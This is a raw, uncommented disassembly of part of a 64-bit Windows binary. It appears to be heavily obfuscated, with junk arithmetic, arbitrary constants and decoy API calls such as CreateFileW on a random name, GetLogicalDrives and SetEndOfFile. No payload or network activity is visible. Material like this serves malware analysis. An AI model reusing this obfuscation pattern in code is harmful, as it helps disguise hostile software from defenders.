mov qword [rsp + 0xcd58], rax
mov dword [rsp + 0x62a8], 0x5084
mov dword [rsp + 0x62ac], 0x9e9a
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
and eax, 0x17e
movsx ecx, word [rsp + 0x1e94]
cmp eax, ecx
jle 0x140010223
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e94]
and eax, ecx
mov rcx, qword [rsp + 0xcd48]
mov word [rcx], ax
mov ecx, dword [rsp + 0x6270]
call fcn.1401879a0
jmp 0x1401875f5
lea rax, [rsp + 0xcd30]
mov qword [rsp + 0xcd60], rax
mov rax, qword [rsp + 0xcd60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd30]
add rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0xcd58]
jbe 0x14001036c
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
mov dword [rsp + 0x62b0], eax
cmp dword [rsp + 0x62b0], 0xe2
je 0x140010320
cmp dword [rsp + 0x62b0], 0x26d
je 0x14001028f
jmp 0x14001036c
lea rcx, [rsp + 0x1cbe0]
call qword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov qword [rsp + 0xcd68], rax
mov rax, qword [rsp + 0xcd40]
movabs rcx, 0x7400aeae339b2d
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcd38], rax
movzx eax, byte [rsp + 0x413]
add eax, 0xe9
mov byte [rsp + 0x1ce], al
movzx eax, word [rsp + 0x1d90]
sub eax, 0xc25
mov word [rsp + 0x1d90], ax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
xor eax, 0x687
mov word [rsp + 0x1e94], ax
mov eax, dword [rsp + 0x6270]
mov ecx, dword [rsp + 0x54ac]
or ecx, eax
mov eax, ecx
mov dword [0x1401b4410], eax
jmp 0x14001036c
lea rax, [rsp + 0xcd30]
mov qword [rsp + 0xcd70], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.4oBkqiyIyA9XbMbPeBxzGqg
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcd78], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x62b4], eax
mov dword [rsp + 0x1d6a0], 0x114
mov rax, qword [rsp + 0xcd60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd70]
mov qword [rsp + 0xcd80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcd80]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcd30], rax
mov eax, dword [0x1401b4410]
movzx ecx, al
mov eax, dword [rsp + 0x6270]
shr eax, cl
mov dword [rsp + 0x54ac], eax
movzx eax, word [rsp + 0x1d90]
and eax, 0x677
mov word [rsp + 0x1d90], ax
movzx eax, byte [rsp + 0x1ce]
add eax, 0x83
mov byte [rsp + 0x413], al
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
sub eax, 0x1d7
mov word [rsp + 0x1e94], ax
movsx eax, byte [rsp + 0x414]
add eax, 0x78
mov byte [rsp + 0x414], al
mov rax, qword [rsp + 0xcd40]
movabs rcx, 0x7684b3bf527adb
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcd38], rax
mov eax, dword [rsp + 0x6270]
mov ecx, dword [rsp + 0x54ac]
add ecx, eax
mov eax, ecx
mov dword [0x1401b4410], eax
mov rax, qword [rsp + 0xcd60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd30]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd58], rax
movzx eax, word [rsp + 0x1d90]
sub eax, 0x332
mov word [rsp + 0x1d90], ax
xor r9d, r9d
lea r8, [rsp + 0xcd88]
mov rdx, qword [rsp + 0xcd88]
mov rcx, qword [rsp + 0xcd20]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x62b8], eax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xcd38]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xcd40]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
sub eax, 0x4ab
mov word [rsp + 0x1e94], ax
movzx ecx, word [rsp + 0x1e98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1e9c], ax
movzx eax, byte [rsp + 0x1ce]
sar eax, 1
mov byte [rsp + 0x413], al
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
shl rax, 0x36
mov qword [rsp + 0xcd38], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x62bc], eax
movzx eax, word [rsp + 0x1d90]
or eax, 0x8df
mov word [rsp + 0x1d90], ax
movzx eax, byte [rsp + 0x1ce]
xor eax, 0xb4
mov byte [rsp + 0x413], al
mov eax, dword [0x1401a5390]
and eax, 0x1094
mov dword [0x1401a5390], eax
mov rax, qword [rsp + 0xcd70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd30], rax
mov eax, dword [0x1401b4410]
mov ecx, dword [rsp + 0x6270]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x54ac], eax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
add eax, 0x20c
mov word [rsp + 0x1e94], ax
mov rax, qword [rsp + 0xcd40]
movabs rcx, 0x7e66e370220af0
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcd38], rax
movzx eax, byte [rsp + 0x413]
sub eax, 0x80
mov byte [rsp + 0x1ce], al
movsx eax, byte [rsp + 0x414]
add eax, 0x6d
mov byte [rsp + 0x414], al
movzx eax, word [rsp + 0x1d90]
and eax, 0x40a
mov word [rsp + 0x1d90], ax
mov eax, dword [rsp + 0x6280]
add eax, 0xb4
mov dword [rsp + 0x6280], eax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
add eax, 0x6d1
mov word [rsp + 0x1e94], ax
mov eax, dword [rsp + 0x6270]
mov ecx, dword [rsp + 0x54ac]
or ecx, eax
mov eax, ecx
mov dword [0x1401b4410], eax
mov rax, qword [rsp + 0xcd70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd60]
mov qword [rsp + 0xcd90], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcd90]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcd58], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
movzx eax, byte [rsp + 0x1ce]
sar eax, 6
mov byte [rsp + 0x413], al
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xcd58]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xcd70]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xcd30]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcd70]
mov qword [rcx], rax
cmp dword [rsp + 0x6280], 0x54ca
jb 0x140010384
movzx eax, word [rsp + 0x1d90]
and eax, 0xbcc
mov word [rsp + 0xf9c], ax
movzx eax, word [rsp + 0x1e94]
mov word [rsp + 0x1ea0], ax
mov dword [rsp + 0x62c0], 0x92f5
movzx eax, byte [rsp + 0x414]
mov byte [rsp + 0x62c4], al
cmp byte [rsp + 0x62c4], 0x37
je 0x140010753
jmp 0x1400107c5
call fcn.140187a50
call qword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [rsp + 0x62c8], eax
mov rax, qword [rsp + 0xcd40]
movabs rcx, 0x7e739f413be2a6
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcd38], rax
movsx eax, word [rsp + 0x1ea0]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1e94], ax
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xcd30]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xcd60]
mov qword [rcx], rax
jmp 0x14001080e
mov eax, dword [0x1401a5390]
mov dword [rsp + 0x62cc], eax
mov rax, qword [rsp + 0xcd60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb2f8], rax
lea rax, [rsp + 0x62c8]
mov qword [rsp + 0xcd98], rax
mov dword [rsp + 0x62d0], 0xe5ad
movzx eax, byte [rsp + 0x414]
mov byte [rsp + 0x62d4], al
cmp byte [rsp + 0x62d4], 0x24
je 0x140187528
cmp byte [rsp + 0x62d4], 0x52
je 0x14001083a
jmp 0x1401875ce
mov eax, dword [rsp + 0x62cc]
mov dword [rsp + 0x62d8], eax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x6270]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x54ac], eax
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xcd60]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xcd58], rax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xcd38]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xcd40]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x62dc], eax
movzx eax, word [rsp + 0xf9c]
add eax, 0x645
mov word [rsp + 0x1d90], ax
movzx eax, byte [rsp + 0x413]
and eax, 0x20
mov byte [rsp + 0x1ce], al
movsx eax, word [rsp + 0x1e94]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ea0], ax
mov rax, qword [rsp + 0xcd40]
movabs rcx, 0x7c1b18a7faba02
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcd38], rax
mov eax, dword [rsp + 0x6290]
sub eax, 0xfc
mov dword [rsp + 0x6290], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xc08e
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x62e0], eax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ea0]
add eax, ecx
mov word [rsp + 0x1e94], ax
mov eax, dword [rsp + 0x62cc]
mov ecx, dword [rsp + 0x62d8]
sub ecx, eax
mov eax, ecx
mov dword [0x1401a5390], eax
mov eax, dword [0x1401b4410]
mov dword [rsp + 0x62c8], eax
movsx eax, byte [rsp + 0x414]
add eax, 0x62
mov byte [rsp + 0x414], al
lea rdx, [rsp + 0x62e0]
mov rcx, qword [rsp + 0xcd28]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x62e0], eax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x54ac]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcd98]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1ce]
add eax, 0xfc
mov byte [rsp + 0x413], al
movzx eax, word [rsp + 0x1d90]
add eax, 0x501
mov word [rsp + 0xf9c], ax
mov rax, qword [rsp + 0xcd40]
movabs rcx, 0x793a268e1f5276
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcd38], rax
movzx eax, byte [rsp + 0x413]
shl eax, 6
mov byte [rsp + 0x1ce], al
movzx eax, word [rsp + 0xf9c]
xor eax, 0xa5f
mov word [rsp + 0x1d90], ax
mov eax, dword [rsp + 0x62cc]
movzx ecx, al
mov eax, dword [rsp + 0x62d8]
sar eax, cl
mov dword [0x1401a5390], eax
mov eax, dword [0x1401a5390]
mov ecx, dword [rsp + 0x62d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x62cc], eax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x62c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6270], eax
movsx eax, word [rsp + 0x1ea0]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1e94], ax
mov rax, qword [rsp + 0xcd40]
movabs rcx, 0x79da84b6f7ff6c
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xcd38], rax
movzx eax, word [rsp + 0xf9c]
add eax, 0x796
mov word [rsp + 0x1d90], ax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e94]
sub eax, ecx
mov rcx, qword [rsp + 0xcd48]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1ce]
add eax, 0x80
mov byte [rsp + 0x413], al
mov rax, qword [rsp + 0xcd40]
movabs rcx, 0x7ab02575f6cb2b
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x6270]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1401b4410], eax
movsx eax, byte [rsp + 0x414]
xor eax, 0x51
mov byte [rsp + 0x414], al
mov rax, qword [rsp + 0xcd58]
movzx ecx, al
mov rax, qword [rsp + 0xb2f8]
shr rax, cl
mov rcx, qword [rsp + 0xcd70]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x28a5
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x62e4], eax
mov eax, dword [rsp + 0x6270]
mov rcx, qword [rsp + 0xcd98]
mov qword [rsp + 0xcda0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcda0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x62c8], eax
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xcd70]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcd58], rax
movzx eax, word [rsp + 0x1d90]
and eax, 0xb95
mov word [rsp + 0xf9c], ax
movzx eax, byte [rsp + 0x1ce]
sub eax, 0x2b
mov byte [rsp + 0x413], al
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xcd38]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xcd40]
mov qword [rcx], rax
movzx eax, word [rsp + 0xf9c]
add eax, 0x479
mov word [rsp + 0x1d90], ax
mov eax, dword [rsp + 0x62d8]
mov ecx, dword [rsp + 0x62cc]
sub ecx, eax
mov eax, ecx
mov dword [0x1401a5390], eax
mov rax, qword [rsp + 0xb2f8]
mov rcx, qword [rsp + 0xcd30]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd58], rax
mov eax, dword [rsp + 0x62cc]
mov ecx, dword [0x1401a5390]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x62d8], eax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [0x1401b4410]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x62c8], eax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e94]
add eax, ecx
mov word [rsp + 0x1ea0], ax
mov rax, qword [rsp + 0xcd40]
movabs rcx, 0x72b94a4729385c
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcd38], rax
cmp dword [rsp + 0x6290], 0xb0ff
jae 0x140010848
mov rax, qword [rsp + 0xcd48]
movzx eax, word [rax]
mov word [rsp + 0x1ea4], ax
movzx eax, byte [rsp + 0x413]
mov byte [rsp + 0x415], al
movsx eax, byte [rsp + 0x414]
sar eax, 1
mov byte [rsp + 0x14f], al
mov eax, dword [rsp + 0x6270]
mov rcx, qword [rsp + 0xcd98]
mov qword [rsp + 0xcda8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcda8]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1401a5394], eax
movzx eax, word [rsp + 0xf9c]
xor eax, 0xb0a
mov word [rsp + 0x1d90], ax
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xcd30]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb2f8], rax
mov eax, dword [0x1401a5390]
mov ecx, dword [rsp + 0x62d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x62cc], eax
mov eax, dword [rsp + 0x6288]
add eax, 0xf6
mov dword [rsp + 0x6288], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [rsp + 0x62c8]
mov ecx, dword [rsp + 0x6270]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcd98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcd40]
movabs rcx, 0x754f2deabd1f07
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcd38], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x296b
mov r9d, 0x805
mov r8d, 0x93b45a2e
mov edx, 1
mov rcx, qword [rsp + 0xcd28]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x62e8], eax
movzx eax, byte [rsp + 0x1ce]
movzx ecx, byte [rsp + 0x413]
add eax, ecx
mov byte [rsp + 0x415], al
movzx eax, word [rsp + 0x1d90]
sub eax, 0x8a5
mov word [rsp + 0xf9c], ax
lea rdx, [rsp + 0xcdb0]
mov rcx, qword [rsp + 0xcd50]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x62e8], eax
cmp dword [rsp + 0x6288], 0xf8ec
jbe 0x140010d6f
mov rax, qword [rsp + 0xcd38]
mov qword [rsp + 0xcdb8], rax
movabs rax, 0x77031f8e121566
cmp qword [rsp + 0xcdb8], rax
je 0x140010eda
jmp 0x140010f99
lea rcx, [rsp + 0x1cf70]
call qword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [rsp + 0x6274], eax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e94]
add eax, ecx
mov word [rsp + 0x1ea0], ax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xcd38]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xcd40]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1d90]
sub eax, 0xa9e
mov word [rsp + 0xf9c], ax
mov eax, dword [0x1401a5390]
mov ecx, dword [rsp + 0x62d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x62cc], eax
mov r9d, dword [rsp + 0x62d8]
mov r8d, dword [0x1401a5390]
mov edx, dword [rsp + 0x62cc]
mov ecx, dword [rsp + 0x62d8]
call fcn.140187860
mov edx, 0x8e
mov ecx, 0x47
call qword [sym.imp.GDI32.dll_CreateHatchBrush]
mov qword [rsp + 0xcdc0], rax
jmp 0x140011020
mov edx, 0x107cf9
mov rcx, qword [rsp + 0xcd50]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x62b8], eax
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xcd60]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcd30], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov dword [rsp + 0x62ec], eax
movzx eax, byte [rsp + 0x415]
movzx ecx, byte [rsp + 0x413]
sar eax, cl
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0xcd48]
movzx eax, word [rax]
mov word [rsp + 0x1ea8], ax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
shl rax, 0x31
mov qword [rsp + 0xcd38], rax
movsx eax, byte [rsp + 0x414]
xor eax, 0x60
mov byte [rsp + 0x14f], al
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x62ec]
mov eax, dword [rax]
or eax, ecx
mov dword [0x1401a5394], eax
mov rcx, qword [rsp + 0xcdc8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x62e8], eax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ea8]
and eax, ecx
mov word [rsp + 0x1e94], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov eax, dword [0x1401a5390]
mov ecx, dword [rsp + 0x62cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x62d8], eax
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xcd70]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcd58], rax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x62c8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x62ec], eax
movzx eax, word [rsp + 0xf9c]
sub eax, 0x952
mov word [rsp + 0x1d90], ax
mov rax, qword [rsp + 0xcd40]
movabs rcx, 0x79650aeb238335
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcd38], rax
mov rcx, qword [rsp + 0xcdc8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e94]
sub eax, ecx
mov rcx, qword [rsp + 0xcd48]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1ce]
movzx ecx, byte [rsp + 0x413]
and eax, ecx
mov byte [rsp + 0x415], al
mov eax, dword [rsp + 0x62cc]
mov ecx, dword [rsp + 0x62d8]
add ecx, eax
mov eax, ecx
mov dword [0x1401a5390], eax
mov dword [rsp + 0x20], 0x16b0
mov r9d, 0x62b
mov r8d, 0x140c
mov edx, 0x48e
mov rcx, qword [rsp + 0xcd20]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x62b8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
shl rax, 0x32
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [0x1401a5394]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x62c8], eax
mov eax, dword [rsp + 0x6270]
movzx ecx, al
mov eax, dword [rsp + 0x54ac]
shr eax, cl
mov rcx, qword [rsp + 0xcd98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xcd60]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xcd70]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x62bc], eax
movzx eax, word [rsp + 0xf9c]
add eax, 0x9f5
mov word [rsp + 0x1d90], ax
lea rdx, [rsp + 0xcdd0]
mov rcx, qword [rsp + 0xcd20]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x62dc], eax
movzx eax, byte [rsp + 0x415]
movzx ecx, byte [rsp + 0x1ce]
and eax, ecx
mov byte [rsp + 0x413], al
movsx eax, byte [rsp + 0x414]
add eax, 0x3c
mov byte [rsp + 0x14f], al
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ea0]
sub eax, ecx
mov rcx, qword [rsp + 0xcd48]
mov word [rcx], ax
mov edx, 0x596fae
mov rcx, qword [rsp + 0xcd28]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x62f0], eax
mov eax, dword [rsp + 0x62cc]
mov ecx, dword [rsp + 0x62d8]
sub ecx, eax
mov eax, ecx
mov dword [0x1401a5390], eax
movzx eax, byte [rsp + 0x415]
movzx ecx, byte [rsp + 0x1ce]
sub eax, ecx
mov byte [rsp + 0x413], al
mov eax, dword [0x1401a5390]
mov ecx, dword [rsp + 0x62cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x62d8], eax
movzx ecx, word [rsp + 0x1e98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1e98], ax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x62ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x62c8], eax
mov rax, qword [rsp + 0xcd30]
mov rcx, qword [rsp + 0xb2f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd58], rax
movzx eax, word [rsp + 0xf9c]
and eax, 0xee6
mov word [rsp + 0x1d90], ax
movsx eax, word [rsp + 0x1ea8]
movsx ecx, word [rsp + 0x1ea4]
shl eax, cl
mov word [rsp + 0x1e94], ax
mov rax, qword [rsp + 0xcd40]
movabs rcx, 0x75d1eeeb69106c
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xcd38], rax
movzx eax, byte [rsp + 0x415]
movzx ecx, byte [rsp + 0x1ce]
or eax, ecx
mov byte [rsp + 0x413], al
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e94]
sar eax, cl
mov rcx, qword [rsp + 0xcd48]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x62bc], eax
movzx eax, word [rsp + 0xf9c]
add eax, 0x86a
mov word [rsp + 0x1d90], ax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x62ec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x54ac], eax
mov eax, dword [0x1401a5390]
mov ecx, dword [rsp + 0x62cc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x62d8], eax
mov eax, dword [rsp + 0x62a8]
add eax, 0x17
mov dword [rsp + 0x62a8], eax
mov rax, qword [rsp + 0xcd60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd30]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd58], rax
movsx eax, byte [rsp + 0x414]
sub eax, 0x28
mov byte [rsp + 0x14f], al
mov rax, qword [rsp + 0xcd40]
movabs rcx, 0x7b38fd96aba6a5
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcd38], rax
movsx eax, word [rsp + 0x1e94]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ea0], ax
movzx eax, byte [rsp + 0x413]
movzx ecx, byte [rsp + 0x1ce]
sub eax, ecx
mov byte [rsp + 0x415], al
mov eax, dword [rsp + 0x62cc]
mov ecx, dword [rsp + 0x62d8]
add ecx, eax
mov eax, ecx
mov dword [0x1401a5390], eax
movabs rax, 0x7277cd68753ab1
mov rcx, qword [rsp + 0xcd38]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcd40]
mov qword [rcx], rax
cmp dword [rsp + 0x62a8], 0x51c6
jne 0x140011033
mov eax, dword [rsp + 0x62cc]
mov ecx, dword [rsp + 0x62d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x51b8], eax
mov dword [rsp + 0x62f4], 0x4c61
cmp dword [rsp + 0x627c], 0x7101
jae 0x1400116fe
mov rcx, qword [rsp + 0xcdc8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x62b8], eax
mov eax, dword [rsp + 0x627c]
add eax, 0xd0
mov dword [rsp + 0x627c], eax
mov eax, dword [rsp + 0x54ac]
movzx ecx, al
mov eax, dword [rsp + 0x6270]
shl eax, cl
mov dword [rsp + 0x62c8], eax
mov rax, qword [rsp + 0xcd70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd30]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd58], rax
movsx eax, word [rsp + 0x1ea0]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1ea8], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x62bc], eax
mov eax, dword [rsp + 0x62c8]
mov rcx, qword [rsp + 0xcd98]
mov qword [rsp + 0xcdd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcdd8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xcd98]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x415]
movzx ecx, byte [rsp + 0x1ce]
and eax, ecx
mov byte [rsp + 0x413], al
mov rax, qword [rsp + 0xcd40]
movabs rcx, 0x7197c122809c86
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xcd38]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xcd40]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x62ec]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1401a5394], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov eax, dword [rsp + 0x6270]
mov ecx, dword [rsp + 0x62c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x62ec], eax
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xb2f8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcd30], rax
